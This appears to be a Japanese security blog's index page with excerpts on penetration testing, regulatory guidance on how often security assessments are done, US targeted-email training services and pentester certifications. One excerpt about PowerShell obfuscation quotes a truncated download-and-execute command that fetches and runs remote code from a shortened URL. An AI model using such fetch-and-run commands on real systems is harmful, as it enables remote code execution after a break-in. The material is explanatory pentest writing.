金融庁関連の話題を追加しました。サイトへのサイバー攻撃に備えて」という報告を発表して、セキュリティ診断・ペネトレーションテストの頻度について言及をしています。今回は、各レギュレーシ...各規制はセキュリティ診断の頻度をどのように定めているか?2017-11-13PowerShellの難読化についてペネトレーション・テストPowerShellは、Post-Exploitationプロセスで非常に良く使われます。以下のコマンドを実行するとリモートにあるファイルを取得してその内容を実行してくれます。Net.WebClient).DownloadString("http://bit.ly/L3g1t"...PowerShellの難読化について2017-01-18再考:米国の標的型攻撃訓練サービスペネトレーション・テスト先日、標的型メール訓練サービスについて少し米国事情を調べたり、講演で聞いた内容をまとめる機会があり、その内容を共有します。ツール先日つたない記事を書いたところ、(このブログとしては)すごい反響をいただきました(かなりこっそりやっていて誰も見ているとは思わなかったので)。ペネトレーション・テストにみんな関心があるんだなと思い、もうひとつ記事を書こうと思います。書き忘れた項目があったため、追記しました。今日は米国流ペネトレーション・テストについての実情についてまとめてみたいと思います。ペネトレーション・テスト日本企業がセキュリティ診断をする場合、ベンダーに依頼することが一般的だと思います。ベンダー選定時には、コスト・品質・評判など色々な判断基準はあるかと思いますが、特に品質は難しい問題です。ペネトレーション・テストペネトレーション・テスターの技術力を見る上で、「資格」が一つの基準として利用されています。日本では、SANSのGPEN*1やGWAPT*2が一番有名かと思いますが、この記事では米国の資格事情をご紹介しようと思います。ブログを報告するスターをつけました引用をストックしましたストック一覧を見る閉じる引用するにはまずログインしてくださいログイン閉じる引用をストックできませんでした。再度お試しください閉じる限定公開記事のため引用できません。